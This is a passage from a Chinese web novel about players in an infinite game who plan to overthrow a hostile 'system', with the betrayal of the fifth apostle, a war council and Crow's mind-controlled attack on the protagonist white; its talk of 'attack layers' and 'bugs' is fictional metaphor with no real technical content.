他的质问声声锐利:“我原本以为你再盲目也不会对white下手,更不会真正地背弃人类,我错了,你就是个无可救药的恶魔!我应该在见面的那一刻就杀了你!” 第五使徒双臂灌注神力,交叠挡在面前,与剑光碰撞的刹那,爆出兵刃相接的脆音。 他望向乌鸦,什么都没说,眼中掠过一抹明显的讥讽。 乌鸦见状更加气恼,大喝加快攻速。眨眼间数百道剑光交织成天罗地网,劈头盖脸砸向第五使徒! 两股强大的力量交手,过招时残影阵阵,肉眼难以捕捉到具体的动作,爆出的余晖犹如电闪雷鸣。 嘭! 第五使徒在招式的冲击中倒飞出去,下一秒身影消失在雨帘中。 乌鸦的心脏狠狠一咯噔,背后寒毛直竖,仓促回头,正迎上第五使徒逆光中冰冷瞥来的眼神,紧跟着后者双拳高举—— 轰! 这一击裹挟万钧之力,乌鸦宛若一颗炮弹被砸入地面。 冲击朝外爆开,以他为圆心土地龟壳般朝外开裂,泥土飞溅! 雨水哗啦盖住烟尘,露出乌鸦半撑在地双手举剑的身影。 他急喘着气血翻涌,手臂全麻抖个不停,几乎拿不稳剑。 这一刻乌鸦无比寒心,只因在这招中感受到真真切切的杀意。 他抬头失望地怒视第五使徒:“你真的背叛了大家……” “……” 雷电穿梭漆黑浓云,轰隆一下照亮半边天幕,雨水倾盆而下。 第五使徒没有继续攻击,垂头凝视乌鸦义愤填膺的脸,那抹讥诮愈发浓郁。 他似乎很遗憾刚才没能杀死对方,说:“我和你们从来都不在一条战线上,又何来背叛?” 随即抬起手,却是缓缓往左,对准另一个方向。 乌鸦顺势瞥过去,看见暴露在大雨中的white,这才猛然惊醒自己忘记什么,急急忙忙扑过去:“住手!” 泰坦神力却没有落下来,像是被突然扼制住了。 乌鸦将谢叙白抱起,仰头,瞳孔又是一缩。 只见第五使徒的身体突发异变,像是出故障的电脑屏幕,表面不稳定地抖动起来,闪烁数道雪花纹,还有微小的电流滋啦作响。 以他的脚掌为起点,扭曲紊乱的数据流如蛀虫般蚕食血肉,往上蔓延。 不止第五使徒,他背后的泰坦虚影也跟着发出震耳欲聋的低吼。 仿佛承受着极大的痛苦,祂疯狂地挣扎,身上数百根链条犹如激荡的波浪,哗啦啦作响。 冷不丁的,一根链条绷断了,砸在地上如同山岳崩塌,大地随之震颤。 然后是第二根,第三根,第五根,第十根…… 随着越来越多的断链砸在地上,第五使徒身上数据化的地方也越来越多,从脚到腿,从手到肩。 他的鬓角暴起青筋,额头冷汗渗出混入雨水,双拳捏紧,仿佛承受着非人的剧痛。 目光却始终平静,什么也没看,只是沉默地眺望远方的天际线。 终于在某一刻,泰坦虚影身上只剩一根孤零零的链条。 那铁链显然拉不住祂庞大的身躯,绷紧到颤抖,接连发出不堪重负的哀鸣。 第五使徒的位置再无人影,取而代之的是一道人形的数据流,唯独一只眼睛还保留着原本的形状。 最后时刻,那只眼睛从远方挪回来,隔着淅淅沥沥的雨幕,似有若无地落在谢叙白的身上。 再见。 他的眼神仿佛这样告别。 乌鸦再一眨眼,发现第五使徒不见了。 那诡异的变化过程,与其说当事人见势不妙逃走了,更像是被系统回收融合。 乌鸦不知道该说什么,最后只能轻叹一声:“何苦呢。” 他低头看着昏迷不醒的white。 青年浑身湿透,似乎还被困在某个梦魇中,手指仍在固执地抓握。 那张清瘦俊秀的脸被雨水洗礼过后更显苍白,水珠从眼角蜿蜒而下,无声地渗入泥里。 乌鸦触及谢叙白的皮肤,发现冷得可怕,连忙用神力撑起空间屏障挡雨,又用道具召出火焰为人取暖。 但这点安慰无济于事。 如果乌鸦没看错的话,就在他赶来的一刻,white身上有什么东西被第五使徒击碎了,大概率是命运女神赠予的那件神器。 神器之所以是神器,就是因为它在一定程度上很难损毁,长时间使用会与灵魂捆绑交融,变成自身的一部分,几何倍增强实力,无法被人抢夺,甚至跟着玩家循环重生。 但相对的,一旦神器受损,就会重伤玩家的身体,乃至于伤及灵魂的根本。 奥古托夫损毁神器,一定受到系统的指使。 乌鸦忍不住怒骂。 考虑到一般的治疗手段,恐怕无法修补神器损毁的损伤,他召回审判剑,对加百列请示道:“麻烦您了。” 加百列垂下猩红冰冷的眼瞳。 莹亮的白色神辉自祂的审判剑上凝聚,下一秒倾洒在white的身上。 随着神力赐福,青年的心跳终于不再微弱,变得蓬勃有力,脸上逐渐恢复红润的血色,神力涌动聚集,成神进度从96%开始一点点往上攀爬。 不远处,璀璨光柱直冲云霄。 封印黑塔三十层的空间壁障终于被玩家全线攻破,传送通道恢复正常使用。 人声鼎沸,从远至近,战鼓在暴雨倾注的荒原上擂响。 玩家势如破竹迎击上万骷髅兵,数根触手倾巢而出,将惊慌失措的大领主拖出天幕,激烈鏖战间,后者逐渐不敌,惨叫着被撕成碎片。 随着时间流逝,越来越多的人感应到乌鸦两人的存在,纷纷快跑赶来,一见面却看见半死不活的white,刹那间脸色大变。 狂风大雨打在疮痍狼藉的土地上,死一般的沉寂无声蔓延。 —— 山洞外雷霆暴雨,山洞内却是宁静祥和。 这里共有上百名玩家,仿佛听不到外面打杀的阵仗,一动不动地坐在篝火旁,侧耳仔细聆听状。 温暖火光照在他们身上,每一张脸都是如出一辙的温顺和虔诚。 在他们最中间的石块上,正坐着一名年轻人,身穿白色神袍,左胸绣着古罗马数字“1”的徽记,膝盖摊开一本书,温声念着里面的内容。 “*罗伯特.佛罗斯特告诉我,黄色的丛林中有两条岔路,可惜我不能同时去涉足。” “我站在路口久久伫立,我向着一条路极目望去。” “我知道路径延绵无尽头,恐怕我难以再回返。” “一片树林里分出两条路,而我选择人迹更少的一条,从此决定了我一生的道路。” 说完,他停了下来,仰着脑袋似乎在观察什么。 旁边有人询问:“使徒大人,出什么事了吗?” 年轻人:“不是出事了,是事情一直在发生,而今终于来到我们要面临的时候。” 众人面面相觑,眼中依然迷茫,不明所以。却见年轻人忽地合上书,啪一下闷响。 仿佛启动什么开关,所有人齐齐一怔,如梦初醒般,一双双涣散的瞳孔恢复焦距。 安静的山洞霎时间吵闹不休。 “什么情况?” “我怎么在这儿?这里是哪里?不是,你们都是谁?” “我只记得……对,弥赛亚!是弥赛亚大人!现任第一使徒!是他带领我们直达黑塔三十层!” “我也想起来了!” 清醒过来的众人纷纷对年轻人投以殷切神往的注目,然而弥赛亚摇了摇头,没有理会任何人,甚至有股生人勿近的冷漠感,起身步入人群。 其他人见状纷纷让道,只有一个青年坐在原地不动,沉默地垂着头,表情没入摇曳的光影,对面前的弥赛亚置若罔闻。 如此无礼的行径惹得众人怒火噌噌上涨。 旁边有人正想呵斥,却见弥赛亚竟然像在神像前祷告那般弯膝跪地,靠在青年的腿边,仰头看着对方:“我能感受到你心中酝酿着的愤怒、不安和悲伤,它们正如风暴般愈演愈烈,你还好吗?” 青年抬起头,和弥赛亚担忧的目光对上在一起,仿佛在审视着什么,良久道:“我没事。冒昧问一句,命运女神的白骨笔是不是在你这里?” 若是其他人得到传说中的命运神器,怎么都要掩饰一番,打死都不认。 岂料弥赛亚竟是干脆点头:“在。” 他带着让所有人都匪夷所思的顺服,直勾勾地看着谢叙白,喟叹一般,解脱一般:“或许你不知道,我已经等你很久了。” “幸好,你终究还是来了。” 作者有话说:*出自《未选择的路》 第265章 成神进度:99% 仿佛为了证明自己的身份,弥赛亚与谢叙白额头相触。 谢叙白尚不能完全信任眼前的这个人,下意识按住他,眉头微皱。 他忽然从对方的精神波动中发现了什么,神色微变,瞳孔凝缩,嘴唇张开下意识要喊出什么,但及时反应过来闭紧,并在电光火石间飞快构建起精神屏障! 谢叙白凝重地看着他:“你怎么会——” 弥赛亚无声地摇了摇头,再次靠近与他额头相触,搭建精神链接。 这次谢叙白没有阻止。 顷刻间,浩荡神力如潮水般涌入谢叙白的意识海,不仅填补了乌鸦没能给对方提上去的进度,还更进一步,直达98%! 精神屏障将翻涌的神力波动挡得一丝不漏,硬是没有让任何人所察觉。 二十分钟后,近千人的大部队在第三十层的传送通道前会合。 各个洲区的前线组织旋即派出代表,从相关者那里了解情况。 一时间人声嘈杂,议论纷纷。 white已经清醒过来,巅峰的顶尖医疗组围聚在他的身边望闻问切。 尽管当事人一直强调自己没事,但众人看着他心口残留的血迹,还有那张苍白沉默的脸,完全放不下心。 得知第五使徒坐实背叛的罪名,第六使徒尤其自责。 如果不是他把奥古托夫的踪迹告诉white,后者也不会冒险前往,深受重伤。 “是我的错!我以为老五没有与老九,不,前任第九使徒他们狼狈为奸,参与诺亚方舟的那些恶心事,是因为心中还残留着正义的信念,谁能想到……” white打断他:“这里不是告罪问责的检察大会,就算是,最应该被批判自省的人也应该是我。是我作为决策者没能考虑到现实存在的风险,让命运神器被毁。” 他站起身来,环顾在场众人,郑重其事地鞠躬,抿紧绷直的嘴唇轻轻颤抖:“是我的过错。” 原本想要问责的人见状把话给憋了回去,不好多说。 但也有人听到动静,不顾其他人的阻拦,气势汹汹地冲了进来,指着white的鼻子厉声肃色:“——命运神器!那可是命运神器!你以为自己轻轻巧巧道个歉就能揭过了吗?” “单枪匹马闯入系统的大本营,再自大自负也不应该犯下这种低级错误,到底是你的失误还是有猫腻?我听说你这一世连记忆都没有,该不会是被系统——” “莫克议长。” 眼看着一顶叛徒的大帽子就要扣下来,中年男人沉稳威严的声音在旁边响起,强势打断他。 众人看过去,开口的人是巅峰会长。 后者来得比较早,但没有参与讨论,正在向医疗组询问white的身体状况。 巅峰会长说话音量不大,但极具穿透力,叫在场所有人都听得清清楚楚:“据我所知,你属下的公会曾经有将近三十人投靠系统,其中有两人是你深深倚重的亲信。在他们透露假情报,导致全体阵亡的前日晚上,甚至还和你同处于一间办公室,秘密会谈长达三小时。” 这话明摆着内涵他也摆脱不掉嫌疑,莫克议长一噎,脸色难看:“但那是很久以前的事情了,而且我接受过联合会的调查,监察部可以证实我的清白!” 巅峰会长说:“已经没有监察部了。” 他的双眼犀利若鹰眸,环视在场每个人的脸,语气不愠不火:“在场应该没有人不知道,就在这一世游戏重启后,联合会为应对无限游戏而开展的多个作战部门,平白无奇地消失一大半。” “我们失去了监察部,失去了四大顶尖科研组,失去了二十多个精英特战部队。” “其中,曾经的监察部长裴玉衡,已被证实为中洲区试炼副本《请遵循设定》里的S级诡王院长。他丧失了身为玩家时的所有记忆,还差点被系统完全同化。” “消失的玩家变成游戏NPC,忘记身份忘记自我,你们都明白这意味着什么。” 无数人沉默下去。 阴沉沉的高空雷鸣大作,像是重锤砸在每个人的心头,凝重压抑的气氛弥漫开,令人透不过气。 “77亿亡魂正在地底看着我们,三年闯关时限将至,根据启示录的描述,这是我们最后一次机会。” 巅峰会长抬眼,直视莫克议长:“我只问一句,作为人类最后希望的我们,确定要将宝贵的时间浪费在相互构陷上吗?” 这话接也不是,不接也不是。 莫克议长脸颊通红梗着脖子半晌发不出声音。 也可能是他看见巅峰的情报组长面不改色地抬手半举,指尖光点氤氲,点开名为【机密原件】的记录道具。 ——仿佛他再多一句嘴,就会有更多丑闻旧账翻出来,叫大家共赏。 人声消弭。 不多时,弥赛亚在人群围拥中出现。 乌鸦没能从white那里得知第二使徒的下落,正忧心忡忡脸色沉郁,冷不丁和弥赛亚对上眼,目光骤然冰冷。 前面提到过,弥赛亚是拿着联合会的推荐信入的使徒公会,并且进会后的一系列举动都神似当年的white,乌鸦和希尔因此将对方视为white的模仿者,借着切磋名义,暗加针对。 哪曾想弥赛亚的实力居然高过他俩,一开始扮猪吃老虎,打了全场人一个措手不及。 希尔半死不活,而他直接被扎穿心脏,重生点睁眼。 毕竟是他们先挑头,找的对方不痛快,输了更是丢脸,怎么都没有继续结怨的理由。 可偏偏乌鸦在被杀死的瞬间,敏锐觉察出弥赛亚的力量构成有问题。 那股力量的运转并不流畅,也不连贯,像是规格不匹配的部件强行搭建起来的乐器,奏出的声音刺耳聒噪,充满不和谐感。 没过多久,玩家中流传起弥赛亚其实是人造物的阴谋论。 更有甚者,怀疑弥赛亚是诺亚方舟人体实验下的黑暗造物,亦或者是系统安插进来的拟人生物。 在那段享有盛名,被无数观众吹捧憧憬的时期,弥赛亚骤然受到多方质疑,宛若燃烧正旺的火突然被一盆凉水兜头淋下,被迫停职接受调查,一查就是大半年。 弥赛亚是联合会推出的继任者,按理说不会受到多少刁难,谁想到竟然会被联合会关押半年之久,所有人都始料未及。 有人怀疑,大概率是联合会见弥赛亚如日中天,隐约有不听话的趋势,于是假借这次事件的名义,公报私仇敲打对方。 那一次遭遇后,弥赛亚的性格忽然大变样,对罪恶的容忍度降到无限低,连恶人使用过的工具都要一块摧毁。 没过多久,他又拿着联合会诸多高层的切实罪状杀上门,一次性屠戮掌权者过半,和联合会彻底决裂割席。 乌鸦不掩敌意地盯着弥赛亚,后者表情没有变化,将他视为空气,不偏不倚擦肩而过。 突然,乌鸦将审判剑横在弥赛亚的面前,拦住去路。 他从头到脚打量弥赛亚:“这么长时间过去,似乎还不知道你的契约神祇是谁。” 不是谁都能像white那样开挂,诸神赐福当普通攻击随手使着玩。 正常玩家为了保持信仰纯粹,也为了不让自己精神失常,只能契约一名神祇。精神力更不会杂糅出多种色彩,像个花花绿绿的大染缸。 弥赛亚扭头,对上乌鸦含有浓重怀疑的目光,突然风马牛不相及地问道:“我接受调查的那次,是你放出的消息,对吗?” 年轻人身穿金白神袍,神色祥和,说话嗓音不疾不徐,无意识溢散的神力通透澄净,仿佛微光笼罩在身上,圣洁的气质扑面而来。 他看起来比在场的任何人都要像个人畜无害的好人。 然而乌鸦想起被他举剑扎穿心脏的一幕,那从上至下,残忍无情如机器般的目光,忍不住一阵恶寒,嫌恶地说道:“我不信任你。” 弥赛亚偏了偏头。 外人眼里他的性格非常好,但对乌鸦,他向来残忍无情。换做以前被这样挑衅,弥赛亚要么追杀乌鸦到天涯海角,要么干脆将这聒噪的家伙无视到底。 可如今弥赛亚凝视对方的眼睛,语气竟是意外的平和,语焉不详的嗓音甚至能听出几分温柔:“没关系,因为……” 他嘴唇翕动说出后半句话,转身离开。 留下乌鸦怔愣在原地,不明所以:“什么叫这里会是我们最后的归宿?靠,这家伙真的有问题,white!” 话音刚落,他就看见弥赛亚径直走向white,自然而然地给了对方一个大大的拥抱,而white竟然没躲开! 似乎能察觉乌鸦在身后不敢相信地瞪着他们俩,弥赛亚忽然侧过头,挑衅般的,冲他意味深长地挑了下眉头。 霎时间乌鸦眉头狂跳,气得直跳脚。 另一边,在对方看不到的视角,弥赛亚已经转过脸,被对方气急败坏的样子逗得嘴角轻扬。 white将这一幕纳入眼底:“如果你接受不了,可以让我……” 弥赛亚摇头:“不,感谢您的仁慈,但这件事必须由我来做。” 他的声音缓慢低沉下去:“也只能是我来做。” 很快,所有玩家组织代表到齐,由white上前主持作战会议。 第266章 成神进度:99%…… “根据现有研究结果和证据表明,已经可以确定系统是来源未定的高维生命体。” “正常来说,不同维度存在认知壁障,低维生命体无法发现高维的存在,但我们不仅能够理解它的语言,还能进入它构造的无限游戏正常活动。” “我们可以由此推测出,高维生命体在进入低维空间后会受到某种降维限制。就像神祇无法在低级副本展露出全部姿态,需要分散力量才能进入一样。” “这一限制让系统的力量无限接近于当前维度的巅峰,但最高也只在巅峰。 大家不妨抬头看,天花板就在那,它再高,高破天,也不是无限高,系统也并非不可战胜。” “回到正题上,经过我们的合理分析,系统不是系统。” “这话听起来很抽象,但事实正是如此。它原本应该是没有形态的高维生命体,是来到我们这里后,经过很长一段时间后的学习模拟,才构建出【系统】这一具体形象和身份。” “如同鸡被丢进鸭群里,一段时间后它会跟着鸭子在湖里游泳。也如同人类幼崽在狼群长大,和外界隔绝,一段时间后他也将开始吃生食学狼叫,甚至出现返祖现象。” “系统成为【系统】后,保留下【系统】的特性,也将拥有【系统】的弊端。” “经过各个洲区顶尖情报网的线索搜集和反复分析甄别,我们已经可以确定,系统模拟的对象,正是新一代研发出来的超级计算机。” “于是我们将系统视为真正的电脑系统,总结出以下三种可行的攻击路径。” “其一网络层,即所有人顺着巅峰的地点标记,对系统的本体发起总攻。这一手段在前世证实有效,但由于攻击力不足,我们需要第二种攻击路径从旁辅助。” “第二种,传输层,类似蓝牙的数据传输或用户与WiFi之间的无线接入。 即,我们联合和系统搭建内部传输渠道的对象——那些叛徒,让他们通过内部链路,绕开防火墙,直接攻击系统的主程序。” 说白了,就是抓一个有权限的小管理策反,让他们带路直接攻进敌方大本营,或者里应外合。 原本white选定的策反对象是第五使徒奥古托夫,但是结果所有人都看见了。 系统不仅多疑,下手更狠,勒令所有投敌的玩家都必须将灵魂交给它,一有不对劲直接数据化。 相当于在玩家的心脏安了个感应炸弹的同时,还将人改造成机器人,催眠洗脑。 被数据化后的玩家已经不能当成原来的那个人了,背叛基本是板上钉钉的事实。 众人看向white,发现青年指挥官淡定如旧,仿佛早已将一切的波澜动荡都隐于面下。 他面不改色地继续说道:“现在,我们必须考虑第三条路径,应用层。” “顾名思义,就是攻击程序的应用逻辑漏洞,通过非常手段卡住重要事件的运行节点,让程序直接崩溃。” 有人反应过来:“你是说,给游戏制造bug?” “没错。”white说,“让我们试想一下,当某个程序正运行到关键时候,需要动用计算机的所有算力和内存,我们突然往这个程序里塞进另一个程序,会发生什么情况?” 另一个看起来文质彬彬的玩家接了话:“一般的程序测算,如果内存有限,刚刚只够运行一个大体量程序的话,那么在加入额外项目的情况下,多半会卡住。” white:“那如果新加入的程序,还和之前运转的程序结果不兼容呢?” 那人眼中精光一闪:“那么极有可能致使系统长时间不响应,电脑出故障宕机。” 有的人听得云里雾里,径直打断道:“等等,等等,各位朋友,你们能不能说得浅显易懂点?” “浅显易懂点,就是在系统宣布游戏失败的时候,把【失败】的结果改成【胜利】。” 一时间嗡嗡议论声响起,大家惊异地交头接耳,那人直接懵掉:“什么?我们可以这么做?” “怎么可能。”另外的玩家反驳道,“真能做到的话,为什么我们还在这里?肯定有什么限制条件。” “是的,这只是举例,如果要更改整个无限游戏的输赢结果,所需要的能量熵值过于巨大,我们没有这个能力。 但我们确实可以篡改系统对这场副本的判定结果,给它制造bug。” 各个公会低声商议,交换眼神。 确实,如果目标是制造程序bug,不会有比《游戏之家》副本更好的选择,因为他们有弥赛亚,记录【9】。 记录【9】变成记录【10】后,全服三亿人将会被清空记忆,无限游戏再度重启。 代入运行服务器,可以想象这一过程需要的运算内存有多大,再往上,找不出比这更好的时间节点。 一阵讨论后,终于有道锐利的眼神直指white。那人提出关键问题:“你提到的篡改手段,该不会是命运女神……” white掷地有声地回应道:“对,就是联合会前任首席执行官谢语春留下的那件命运神器,【可以更改命运的白骨笔】。” 会议氛围沉重肃穆,议论声再起。 这事毕竟干系重大,在场所有人都承担不起失败的后果,谁也没法轻易下定论,给出肯定的回答。 会议暂时解散,各方组织代表带着信息量爆炸的脑袋回去落实内容的真实性,商讨结论。 明面上展开积极行动,私底下亦是暗潮涌动,质疑、试探、推诿、争吵层出不穷。 短短一天时间,white接见了十几批来自不同组织的掌权人、主要话事人或代表,有的组织甚至会分不同时间点,派两批人过来会见。 他们借大领主现成的城堡安营扎寨,偌大的客厅中,不乏有人争得面红耳赤,原本还能维持基本的庄重得体,随着讨论渐深,场面顿时像个闹哄哄的菜市场。 内容大差不离,基本可以归纳为:这么做之后有什么坏结果和负面影响?可行性有多大?能不能确保万无一失?出事后责任由谁承担? “恕我直言,为什么不是把判定结果从【胜利】改成【失败】?” “一旦计划出错,我们真的闯关成功了,弥赛亚就会达成记录【10】,致使游戏清零重来,现在的所有部署都会前功尽弃!” “不会的。”弥赛亚忽然道,“如果白骨笔无法更改系统判定,我会在判定出结果前了结自己。” 所有人一愣,转头看向弥赛亚,却见圣徒般温和亲切的年轻人微微一笑:“相信我,我下手很快的。” 不知道为什么,听到这话的人忍不住一股恶寒,心里发毛,下意识挪了挪位置,离他远一点。 white说:“把【胜利】改成【失败】只是简略的表达,实际操作的复杂程度阐述起来,三天三夜都说不完。 或许我们会趁机给系统塞点病毒,或许会在其他地方动手脚,只要能给系统制造bug,任何情况我们都会尝试。” 便有人迫不及待追问:“那么具体呢,具体的操作内容是什么?” white忽然看向他,淡声道:“具体是什么,如果大家实在想知道,我可以说。” 他扯眉一扫四下,随着众人的心脏被他这话高高吊起,悄无声息竖起耳朵,青年方才继续道:“但前提是,如果情报泄漏被系统得知,导致最后计划失败,在众的所有知情人都会被视作嫌疑人。” white沉声冷厉:“——所有人,无一例外,会被废除神力,格式化记忆,流放至时空裂隙。” 瞬间所有人噤声,死寂如潮水般蔓延,直至有人觉得这是在危言耸听,火药味十足地质疑:“也包括你?” white毫不犹豫:“也包括我。” “……”那人立马哽住。 没人说话了。 white:“大家可以放心,这是无数顶尖精英专家共同商议下的结果,具体到每一个细微的步骤都经过反复斟酌和考察,在我们迄今所有行动计划里,可行性最高。” “但是white指挥官,还有个问题。” 有人再次开口,语气都温和不少:“据我所知,达成【10】次通关记录是恒定的通关条件,这事同样经过多方鉴定。” “如果攻打系统的作战计划失败,我们仍旧要考虑达成通关条件来赢下游戏,到那时候,记录【9】弥赛亚死了,剩余的时间不够我们重新累积记录,该怎么办?” “是啊!” 这话一出,很多人都不满叫嚷起来。 “如果有这样的计划,为什么提前不知会,现在我们去哪儿找高记录的玩家候补?” 理论上他们可以安排高记录的玩家时刻候命,但也只是理论上。 首通记录,一是参与后就不能断,二是不能达到【10】,三是试炼副本的开启时间全由系统说了算,根本不可控,只能凭运气。 弥赛亚在以前不知道达成过多少次记录【9】,也就这一次刚好撞上了。 至于其他高级玩家,大多数都在发现记录【10】是陷阱时果断放弃,会不断较劲反复撞南墙的人只手可数。 white:“这就是为什么我们要把【失败】改成【胜利】,而非将【胜利】改成【失败】。” “对我们来说,篡改成功的可能性更大一些,【胜利】后还能续上其他玩家的首通记录,但【失败】就是全部清零了。” “所以这一次攻打系统,我们不仅要对系统重拳出击,还要破解它的核心,知道在记录【10】的通关条件上究竟附加着什么限制,让之后的高记录玩家能够顺利通关。” 听上去方方面面都考虑到了,但还有一个问题,谁能担任弥赛亚之后的高记录候补? 忽然有人脱口说出一个人名:“中洲区的严岳,他是不是已经达成记录【8】了?” 养精蓄锐不代表对外界一无所知,事实上这些明面上的消息,最多不超过两小时就会被整理备档,绕过系统的耳目,纳入特殊建立的情报室。 所有人都反应过来,算上这一次顺利通关,那严岳就会成为记录【9】。 如果他们能够在该场试炼破解系统的核心程序,打破记录【10】就会重启的魔咒,岂不是意味着,下一次试炼副本,他们将迎来真正的胜利? 立马有人坐不住了:“严岳在哪儿?我记得他上场副本和巅峰的人在一起。” 瞬间无数人的视线投向巅峰,但是大家还没来得及继续开口,系统森寒的提示声突兀响起。 【枉死者的愤怒无法平息,它们怨憎黑王的暴政和不作为,将从地狱归来剑指黑王寝宫。】 【预计三十分钟后,污染于各层级全面爆发!】 系统发难的时间过于凑巧,刚好就在他们将要商定出结果的现在,众人顺理成章就推断出,一定是他们刚才的谈论让系统感到莫大威胁。 会是什么? 玩家发起总攻?制造bug?破解核心程序?还是说—— “是严岳!记录【8】!系统不把我们的进攻作战放在眼里,但它害怕我们真的赢下游戏!” 几个急性子快步来到巅峰会长的面前:“严岳到底在哪儿?” 副会长说道:“冷静下来,不用担心,他在一个安全的地方。” “什么安全的地方,没听到系统公告说污染全面爆发吗?等一下……” 反应快的人已经通过巅峰各成员的反应猜出来了,能让他们这么淡定,说明严岳就在这里,在各个顶级玩家的保护圈里! 然而也是这时,系统的提示声毫无征兆地再次响起。 不,不应该说是提示声,那声音阴冷奸猾,不像系统,更像伪装已久的妖怪终于撕开那张血淋淋的假面,笑声充斥着让人毛骨悚然的血腥气。 【你们说的严岳,该不会是他吧?】 第267章 成神进度:99% 如同惊天霹雳砸在心头,所有人脸色大变。 巅峰的人下意识飞快扭头,在他们视线所及之处,站着一名其貌不扬的普通成员,于众人的凝视里茫然抬头。 其他人很快反应过来——他就是严岳。 然而看见严岳完好无损,他们的第一反应不是庆幸,而是手脚冰凉遍体生寒。 “蠢货!快帮忙掩护!” 系统是故意的,它根本没找到严岳在哪儿,只是为了利用知情者的回护心理,诈出谁才是伪装后的严岳。 他们中计了! 只是电光火石间有人仍有疑虑。 几乎所有顶级玩家齐聚于此,整个会议大厅更是被施加几十道防护屏障。 系统接连违反规则,受到严重限制,现在这种情况,它想要操控污染源突破防线又谈何容易? 所以有问题,一定有问题…… 可是问题在哪儿?! 来不及细想了,情势紧张一触即发。 整个大厅好像被摁下慢放键,有人身子半起,面露惊愕。有人焦急嘶吼,翻桌落地。诸多声音夹杂在一起,分不清是怒骂还是尖叫—— 噗呲。 一声轻响。 欲要为严岳施加个体防护的高玩一僵,眼睁睁看着锋利的长剑从后穿透严岳的心口,血液飞出,溅落在地板上。 几乎同一时间,乱成一团的会议大厅安静下来。 所有人动作刹停,盯着那贯胸而过的血红剑尖,表情一片空白。 ……最坏的情况发生了。 严岳低头看向胸口的利剑,呆愣着,哇的吐出一口血。 他想要说点什么,来不及再次张嘴,剑光一闪,剑尖蜿蜒往上划出弧线,如同切豆腐般将他一分为二。 血液如同红色喷泉从截面呲啦喷出,染红了袭击者的前胸。 失去意识的严岳重重地倒在地,露出袭击者的全貌,正是第四使徒,乌鸦。 但乌鸦手持审判剑,阳光爽朗的脸沾着鲜血,茫然抬头,看上去比在场所有人都要不敢置信,手也是颤抖的:“……我怎么会?” 死一般的沉寂中,徘徊在人们心中的疑虑终于明了。 ——系统不能直接出手,派出的污染源一时又突破不了玩家的防线,那么它肯定会从内部下手! 可为什么会是乌鸦? 在场众人多少都经历过被人背叛,亲朋好友,上司下属,无一例外。 他们对系统蛊惑玩家的手段心有余悸,从来不敢抱有侥幸心理,凡重要会议,与会者必须先通过三次意志检测。 至于乌鸦,曾经更是被列为监察部和外界的重点监察对象,因为他堕化了,毫无缘由的。 从天使堕落为恶魔,是谁都会误以为信念扭曲的先兆。 乌鸦直接被关进联合会监察所,意志检测、记忆检索,比吃饭喝水还要频繁。 一批人查不出问题,就再换一批人来。无数双眼睛死死紧盯着他,任何行为都会被放大、曲解、审判,循环反复。 就是在这种极端严苛的环境下,乌鸦证明了自己的清白。 事到如今,他为什么还会背叛?! 却见满目迷茫的乌鸦猛一摇晃。 就像解开某种限制,找回某段失去的记忆,他的眼神一点点变了,下一秒再度举剑。 “快躲开!” 审判剑爆发刺眼神辉,半空中划开一道凌厉的直线,重重地砍向white! white反应极快地撑起屏障,与剑锋激烈相撞。 轰! 气浪荡开,震碎地板,碎石飞溅。 剧烈响动中,只听乌鸦一字一顿地质问:“white,我哥到底在哪儿?” 这问题乌鸦在white清醒时就问过一次,当时青年回答不清楚,乌鸦虽说很失落,但情绪还算平稳。 可此时的他,面容狰狞扭曲,瞳色染红,浑然像是入了魔。 乌鸦再度问出这话,不像是重复问题,更像是痛斥嘲讽。 他厉声含恨:“是啊,你不知道!你们怎么可能知道!一切美名和盛誉都让你第一使徒占有了,凡赢下胜仗都是你的功劳,所有目光都聚焦于你,谁能记得住曾经牺牲自我的第二使徒?!” 说话间,审判剑蕴起千钧神力劈向青年。 只是一眨眼,偌大的会议大厅惨遭上千道剑风洗礼。剑锋往上一连劈开六层城堡,天光自裂口倾泻而下,照亮屋内,石墙倒塌,人群惊散! 有人想要上前帮忙,没等跻身靠近,就被剑风伤及,只能狼狈躲避,拉开距离。 white没有说话,金光如骤雨疾驰,格挡乌鸦的杀招。 在那剑风与金光交织的缝隙里,他对上乌鸦怨憎的眼神,眼睫几不可闻地垂下半分,又在下一秒猛然睁开,瞳孔金光氤氲。 精神震慑! 瞬间乌鸦像是凭空受到重击,整个人剧烈一震。 可他的动作并未停止。 乌鸦伸出颤抖的双手,捏紧剑柄,抬起剑尖时,浓郁到异常的黑暗气息翻涌不绝,仿佛酝酿着威力巨大的一击。 这一击要是落实了,恐怕方圆十里的建筑物都会在冲击中粉碎。 危急之际,white不退反进,欺身上前。 他用屏障硬生生冲散蓄力的波动,瞬息间和乌鸦拉进距离,金瞳对视,构建精神链接! 哪怕只有半秒,也足够white捕捉到导致乌鸦出问题的关键画面。 —— 乌鸦堕化事件发生得很早,那时候谢叙白还没有和宴朔签订契约,只是略有耳闻。 在连续的高压审讯下,乌鸦差点就崩溃了。 但有个人愿意用性命为他作保。 那人连续一个星期没合眼,顺着各种蛛丝马迹收集到有效证据,并找出拥有相同经历的玩家,证明他们的堕化是副本的阵营特效,系统故意设定该特效无法隐藏,就是为了挑拨离间! 而这个查出真相的人,正是第二使徒,乌鸦的亲哥,代号神圣牧师米埃尔。 系统的离间计失败了,但也可以说是成功了。 因为联合会擅作主张行使的非常手段,终归在乌鸦心底埋下隔阂的种子。 这颗种子在当时没有生根发芽,要多亏第二使徒。 是米埃尔在许多人都劝他们兄弟俩算了的时候,一改平日的温和谦卑,硬是顶着多方压力冲到联合会,大发雷霆,剑指几名话事人,要求他们必须给个说法。 不止是他有意见,事后知道这件事的谢语春和裴玉衡同样怒不可遏。 当时没有监察部,使徒公会由联合会牵头其他顶级组织共同创立。 谢语春更多的时间,都在脚不沾地处理联合会的内务、训练谢叙白以及研究系统破绽。 裴玉衡则主管科研部门,解析无限游戏。 可是联合会多方势力角逐,办下的糊涂事,让他们意识到,这些混账东西完全把使徒当成了争权夺利的工具。 谢裴二人当机立断肃清公会,参与其中的三十多名联合会话事人和公会管理被接连问责,其中五名主犯被辞退关押,二十多名从犯降职下狱。 事后,谢裴二人公开检讨,反省没能保护好使徒成员的歉意,对遭受迫害的乌鸦予以补偿。 也是从那时候起,谢语春决意晋升命运女神,卸任首席执行官一职,将重心精力漫漫挪移至使徒公会。 裴玉衡也从科研部忙里抽身,成立监察部,公会内设监察系统,杜绝再有成员被带走私审的恶劣事件发生。 那段时间,因为审讯的后遗症,乌鸦常常会精神失常。 是第二使徒每天晚上都不辞辛劳地守着他,为他治愈精神创伤。 亲哥的不离不弃,谢裴二人的回护补偿,还算及时的正义。 乌鸦觉得自己不应该有怨言,这事应该就此揭过。 然而那件事后没过多久,white出现了。 